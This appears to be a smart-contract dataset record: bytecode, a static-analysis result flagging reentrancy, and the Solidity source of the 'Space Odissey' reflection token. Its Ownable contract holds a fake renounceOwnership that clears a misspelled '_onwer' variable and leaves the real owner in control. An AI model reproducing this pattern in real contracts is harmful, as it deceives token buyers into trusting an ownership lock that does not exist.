006020828403121561198e57600080fd5b5035919050565b6000806000606084860312156119aa57600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b818110156119f0578581018301518582016040015282016119d4565b81811115611a02576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611a9d5784516001600160a01b031683529383019391830191600101611a78565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611ad157611ad1611b49565b500190565b600082611af357634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611b1257611b12611b49565b500290565b600082821015611b2957611b29611b49565b500390565b6000600019821415611b4257611b42611b49565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461062057600080fd5b801515811461062057600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d990aed78ef4faa60705de5a4f51d3657a785656ce92db3a95aa1f562913368c64736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 4,273 |
0x8485fc1a0a043955de27d69cf034c01b58de9111
|
/**
-%*:
*@@@%= .
@@@@@@@+-=+*#%@@*
.@@@@@@@@@@@@@@@%
:*@@@@@@@@@@@@@@%.
:-=+==-:. :+%@@@@@@@@@@@@@@@%.
.*@@@@@@@@@@@%*=-. .:--==+++++==-:. .*@@@@@@@@@@@@@@@@@@@*
:@@@@@@@@%+:. .:=+**%@@@@@@@@@@@@@@@@@@%#+-. -+#@@@@@@@@@@@@@@@@@@%.
*@@@@@@@# :+#@@@@@@@@@@@@@@@@@@@@@@@@@@@@%*- .-+%@@@@@@@@@@@@@@@-
#@@@@@@@: .+%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#- .@@@@@@@@@@@@@@@@+
+@@@@@@@: -#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@+ *@@@@@@#-:------:
.@@@@@@@+ +@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@+ :@@@@#:
+@@@@@@@: %@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@- #@#:
#@@@@@@% .%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@*
.%@@@@@@%..%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%.
.%@@@@@@%..#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%.
=. #@@@@@@@: *@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%
.@@: *@@@@@@@= -@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@*
#@@@- +@@@@@@@#..#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@:
:@@@@@+ -@@@@@@@@= -@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@*
=@@@@@@#..#@@@@@@@#: +@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
*@@@@@@@@= -@@@@@@@@+.:#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@.
*@@@@@@@@@#. *@@@@@@@@= -%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@: -=
*@@@@@@@@@@@= -%@@@@@@@%- =%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@. %@@*. ::-=.
=@@@@@@@@@@@@%- =@@@@@@@@#- =%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ .@@@@@@@@@*
.@@@@@@@@@@@@@@#:.+@@@@@@@@%- -%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@* -*@@@@@@@@@+
*@@@@@@@@@@@@@@@*..*@@@@@@@@%- -#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@. :%@@@@@@@@@@@+
.@@@@@@@@@@@@@@@@@+..*@@@@@@@@%= :*@@@@@@@@@@@@@@@@@@@@@@@@@@+ .-=%@@@@@@@@#.
-@@@@@@@@@@@@@@@@@@+..*@@@@@@@@@+..=%@@@@@@@@@@@@@@@@@@@@@@%= -@@@@*++**=
=@@@@@@@@@@@@@@@@@@@+..+@@@@@@@@@#- :+@@@@@@@@@@@@@@@@@@@% += %@*.
-@@@@@@@@@@@@@@@@@@@@*: =%@@@@@@@@@*: -*@@@@@@@@@@@@@@@# .@: ..
:%@@@@@@@@@@@@@@@@@@@@#- :*@@@@@@@@@%+: -*%@@@@@@@@@@+ @%
+@@@@@@@@@@@@@@@@@@@@@@+..=%@@@@@@@@@%*- .=*%@@@@%: -@@+
.*@@@@@@@@@@@@@@@@@@@@@@#- :+@@@@@@@@@@@%+-..:-- =@@@@
.+@@@@@@@@@@@@@@@@@@@@@@@*- :+%@@@@@@@@@@@@%#*++*#@@@@@@.
-*@@@@@@@@@@@@@@@@@@@@@@@*- :+#@@@@@@@@@@@@@@@@@@@@@@
-+%@@@@@@@@@@@@@@@@@@@@@@#=. -+%@@@@@@@@@@@@@@@@@=
.:=*#@@@@@@@@@@@@@@@@%#+-. .:=*%@@@@@@@@@@#:
.::-------::. .:--=--:
Space Odyssey - An ETH Based Rewards Token
https://t.me/sodysseytoken
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if(a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
address private _onwer;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_onwer, address(0));
_onwer = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract SpaceOdissey is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => User) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode"Space Odissey";
string private constant _symbol = unicode"ODISSEY";
uint8 private constant _decimals = 9;
uint256 private _taxFee = 2;
uint256 private _teamFee = 8;
uint256 private _feeRate = 5;
uint256 private _feeMultiplier = 1000;
uint256 private _launchTime;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
uint256 private _maxBuyAmount;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private _cooldownEnabled = true;
bool private inSwap = false;
bool private _useImpactFeeSetter = true;
uint256 private buyLimitEnd;
struct User {
uint256 buy;
uint256 sell;
bool exists;
}
event MaxBuyAmountUpdated(uint _maxBuyAmount);
event CooldownEnabledUpdated(bool _cooldown);
event FeeMultiplierUpdated(uint _multiplier);
event FeeRateUpdated(uint _rate);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function setFee(uint256 impactFee) private {
uint256 _impactFee = 10;
if(impactFee < 10) {
_impactFee = 10;
} else if(impactFee > 40) {
_impactFee = 30;
} else {
_impactFee = impactFee;
}
if(_impactFee.mod(2) != 0) {
_impactFee++;
}
_taxFee = (_impactFee.mul(2)).div(10);
_teamFee = (_impactFee.mul(10)).div(10);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner()) {
if(_cooldownEnabled) {
if(!cooldown[msg.sender].exists) {
cooldown[msg.sender] = User(0,0,true);
}
}
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(tradingOpen, "Trading not yet enabled.");
_taxFee = 2;
_teamFee = 10;
if(_cooldownEnabled) {
if(buyLimitEnd > block.timestamp) {
require(amount <= _maxBuyAmount);
require(cooldown[to].buy < block.timestamp, "Your buy cooldown has not expired.");
cooldown[to].buy = block.timestamp + (45 seconds);
}
}
if(_cooldownEnabled) {
cooldown[to].sell = block.timestamp + (15 seconds);
}
}
uint256 contractTokenBalance = balanceOf(address(this));
// sell
if(!inSwap && from != uniswapV2Pair && tradingOpen) {
if(_cooldownEnabled) {
require(cooldown[from].sell < block.timestamp, "Your sell cooldown has not expired.");
}
if(_useImpactFeeSetter) {
uint256 feeBasis = amount.mul(_feeMultiplier);
feeBasis = feeBasis.div(balanceOf(uniswapV2Pair).add(amount));
setFee(feeBasis);
}
if(contractTokenBalance > 0) {
if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) {
contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100);
}
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function addLiquidity() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_maxBuyAmount = 20000000000 * 10**9;
_launchTime = block.timestamp;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() public onlyOwner {
tradingOpen = true;
buyLimitEnd = block.timestamp + (90 seconds);
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
// fallback in case contract is not releasing tokens fast enough
function setFeeRate(uint256 rate) external {
require(_msgSender() == _FeeAddress);
require(rate < 51, "Rate can't exceed 50%");
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
_cooldownEnabled = onoff;
emit CooldownEnabledUpdated(_cooldownEnabled);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function cooldownEnabled() public view returns (bool) {
return _cooldownEnabled;
}
function timeToBuy(address buyer) public view returns (uint) {
return block.timestamp - cooldown[buyer].buy;
}
function timeToSell(address buyer) public view returns (uint) {
return block.timestamp - cooldown[buyer].sell;
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
}
|
0x6080604052600436106101395760003560e01c8063715018a6116100ab578063a9fc35a91161006f578063a9fc35a914610377578063c3c8cd8014610397578063c9567bf9146103ac578063db92dbb6146103c1578063dd62ed3e146103d6578063e8078d941461041c57600080fd5b8063715018a6146102cb5780638da5cb5b146102e057806395d89b4114610308578063a9059cbb14610338578063a985ceef1461035857600080fd5b8063313ce567116100fd578063313ce5671461021857806345596e2e146102345780635932ead11461025657806368a3a6a5146102765780636fc3eaec1461029657806370a08231146102ab57600080fd5b806306fdde0314610145578063095ea7b31461018d57806318160ddd146101bd57806323b872dd146101e357806327f3a72a1461020357600080fd5b3661014057005b600080fd5b34801561015157600080fd5b5060408051808201909152600d81526c5370616365204f64697373657960981b60208201525b6040516101849190611bee565b60405180910390f35b34801561019957600080fd5b506101ad6101a8366004611b46565b610431565b6040519015158152602001610184565b3480156101c957600080fd5b50683635c9adc5dea000005b604051908152602001610184565b3480156101ef57600080fd5b506101ad6101fe366004611b06565b610448565b34801561020f57600080fd5b506101d56104b1565b34801561022457600080fd5b5060405160098152602001610184565b34801561024057600080fd5b5061025461024f366004611ba9565b6104c1565b005b34801561026257600080fd5b50610254610271366004611b71565b61056a565b34801561028257600080fd5b506101d5610291366004611a96565b6105e9565b3480156102a257600080fd5b5061025461060c565b3480156102b757600080fd5b506101d56102c6366004611a96565b610639565b3480156102d757600080fd5b5061025461065b565b3480156102ec57600080fd5b506000546040516001600160a01b039091168152602001610184565b34801561031457600080fd5b506040805180820190915260078152664f44495353455960c81b6020820152610177565b34801561034457600080fd5b506101ad610353366004611b46565b6106cf565b34801561036457600080fd5b50601554600160a81b900460ff166101ad565b34801561038357600080fd5b506101d5610392366004611a96565b6106dc565b3480156103a357600080fd5b50610254610702565b3480156103b857600080fd5b50610254610738565b3480156103cd57600080fd5b506101d5610785565b3480156103e257600080fd5b506101d56103f1366004611ace565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561042857600080fd5b5061025461079d565b600061043e338484610b51565b5060015b92915050565b6000610455848484610c75565b6104a784336104a285604051806060016040528060288152602001611dc7602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190611218565b610b51565b5060019392505050565b60006104bc30610639565b905090565b6012546001600160a01b0316336001600160a01b0316146104e157600080fd5b6033811061052e5760405162461bcd60e51b8152602060048201526015602482015274526174652063616e2774206578636565642035302560581b60448201526064015b60405180910390fd5b600c8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020015b60405180910390a150565b6000546001600160a01b031633146105945760405162461bcd60e51b815260040161052590611c41565b6015805460ff60a81b1916600160a81b8315158102919091179182905560405160ff9190920416151581527f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f287069060200161055f565b6001600160a01b0381166000908152600760205260408120546104429042611d31565b6012546001600160a01b0316336001600160a01b03161461062c57600080fd5b4761063681611252565b50565b6001600160a01b038116600090815260036020526040812054610442906112d7565b6000546001600160a01b031633146106855760405162461bcd60e51b815260040161052590611c41565b6001546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600180546001600160a01b0319169055565b600061043e338484610c75565b6001600160a01b0381166000908152600760205260408120600101546104429042611d31565b6012546001600160a01b0316336001600160a01b03161461072257600080fd5b600061072d30610639565b90506106368161135b565b6000546001600160a01b031633146107625760405162461bcd60e51b815260040161052590611c41565b6015805460ff60a01b1916600160a01b17905561078042605a611ce6565b601655565b6015546000906104bc906001600160a01b0316610639565b6000546001600160a01b031633146107c75760405162461bcd60e51b815260040161052590611c41565b601554600160a01b900460ff16156108215760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610525565b601480546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561085e3082683635c9adc5dea00000610b51565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561089757600080fd5b505afa1580156108ab573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108cf9190611ab2565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561091757600080fd5b505afa15801561092b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061094f9190611ab2565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561099757600080fd5b505af11580156109ab573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109cf9190611ab2565b601580546001600160a01b0319166001600160a01b039283161790556014541663f305d71947306109ff81610639565b600080610a146000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a7757600080fd5b505af1158015610a8b573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ab09190611bc1565b50506801158e460913d000006011555042600e5560155460145460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b390604401602060405180830381600087803b158015610b1557600080fd5b505af1158015610b29573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b4d9190611b8d565b5050565b6001600160a01b038316610bb35760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610525565b6001600160a01b038216610c145760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610525565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cd95760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610525565b6001600160a01b038216610d3b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610525565b60008111610d9d5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610525565b6000546001600160a01b03848116911614801590610dc957506000546001600160a01b03838116911614155b156111bb57601554600160a81b900460ff1615610e49573360009081526007602052604090206002015460ff16610e4957604080516060810182526000808252602080830182815260018486018181523385526007909352949092209251835590519282019290925590516002909101805460ff19169115159190911790555b6015546001600160a01b038481169116148015610e7457506014546001600160a01b03838116911614155b8015610e9957506001600160a01b03821660009081526006602052604090205460ff16155b15610ffd57601554600160a01b900460ff16610ef75760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e00000000000000006044820152606401610525565b6002600a908155600b55601554600160a81b900460ff1615610fc357426016541115610fc357601154811115610f2c57600080fd5b6001600160a01b0382166000908152600760205260409020544211610f9e5760405162461bcd60e51b815260206004820152602260248201527f596f75722062757920636f6f6c646f776e20686173206e6f7420657870697265604482015261321760f11b6064820152608401610525565b610fa942602d611ce6565b6001600160a01b0383166000908152600760205260409020555b601554600160a81b900460ff1615610ffd57610fe042600f611ce6565b6001600160a01b0383166000908152600760205260409020600101555b600061100830610639565b601554909150600160b01b900460ff1615801561103357506015546001600160a01b03858116911614155b80156110485750601554600160a01b900460ff165b156111b957601554600160a81b900460ff16156110d5576001600160a01b03841660009081526007602052604090206001015442116110d55760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260448201526232b21760e91b6064820152608401610525565b601554600160b81b900460ff161561113a5760006110fe600d548461150090919063ffffffff16565b60155490915061112d90611126908590611120906001600160a01b0316610639565b9061157f565b82906115de565b905061113881611620565b505b80156111a757600c546015546111709160649161116a9190611164906001600160a01b0316610639565b90611500565b906115de565b81111561119e57600c5460155461119b9160649161116a9190611164906001600160a01b0316610639565b90505b6111a78161135b565b4780156111b7576111b747611252565b505b505b6001600160a01b03831660009081526006602052604090205460019060ff16806111fd57506001600160a01b03831660009081526006602052604090205460ff165b15611206575060005b6112128484848461168e565b50505050565b6000818484111561123c5760405162461bcd60e51b81526004016105259190611bee565b5060006112498486611d31565b95945050505050565b6012546001600160a01b03166108fc61126c8360026115de565b6040518115909202916000818181858888f19350505050158015611294573d6000803e3d6000fd5b506013546001600160a01b03166108fc6112af8360026115de565b6040518115909202916000818181858888f19350505050158015610b4d573d6000803e3d6000fd5b600060085482111561133e5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610525565b60006113486116bc565b905061135483826115de565b9392505050565b6015805460ff60b01b1916600160b01b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113b157634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561140557600080fd5b505afa158015611419573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061143d9190611ab2565b8160018151811061145e57634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526014546114849130911684610b51565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906114bd908590600090869030904290600401611c76565b600060405180830381600087803b1580156114d757600080fd5b505af11580156114eb573d6000803e3d6000fd5b50506015805460ff60b01b1916905550505050565b60008261150f57506000610442565b600061151b8385611d12565b9050826115288583611cfe565b146113545760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610525565b60008061158c8385611ce6565b9050838110156113545760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610525565b600061135483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116df565b600a808210156116325750600a611646565b60288211156116435750601e611646565b50805b61165181600261170d565b15611664578061166081611d48565b9150505b611674600a61116a836002611500565b600a9081556116879061116a8382611500565b600b555050565b8061169b5761169b61174f565b6116a684848461177d565b8061121257611212600f54600a55601054600b55565b60008060006116c9611874565b90925090506116d882826115de565b9250505090565b600081836117005760405162461bcd60e51b81526004016105259190611bee565b5060006112498486611cfe565b600061135483836040518060400160405280601881526020017f536166654d6174683a206d6f64756c6f206279207a65726f00000000000000008152506118b6565b600a5415801561175f5750600b54155b1561176657565b600a8054600f55600b805460105560009182905555565b60008060008060008061178f876118ea565b6001600160a01b038f16600090815260036020526040902054959b509399509197509550935091506117c19087611947565b6001600160a01b03808b1660009081526003602052604080822093909355908a16815220546117f0908661157f565b6001600160a01b03891660009081526003602052604090205561181281611989565b61181c84836119d3565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161186191815260200190565b60405180910390a3505050505050505050565b6008546000908190683635c9adc5dea0000061189082826115de565b8210156118ad57505060085492683635c9adc5dea0000092509050565b90939092509050565b600081836118d75760405162461bcd60e51b81526004016105259190611bee565b506118e28385611d63565b949350505050565b60008060008060008060008060006119078a600a54600b546119f7565b92509250925060006119176116bc565b9050600080600061192a8e878787611a46565b919e509c509a509598509396509194505050505091939550919395565b600061135483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611218565b60006119936116bc565b905060006119a18383611500565b306000908152600360205260409020549091506119be908261157f565b30600090815260036020526040902055505050565b6008546119e09083611947565b6008556009546119f0908261157f565b6009555050565b6000808080611a0b606461116a8989611500565b90506000611a1e606461116a8a89611500565b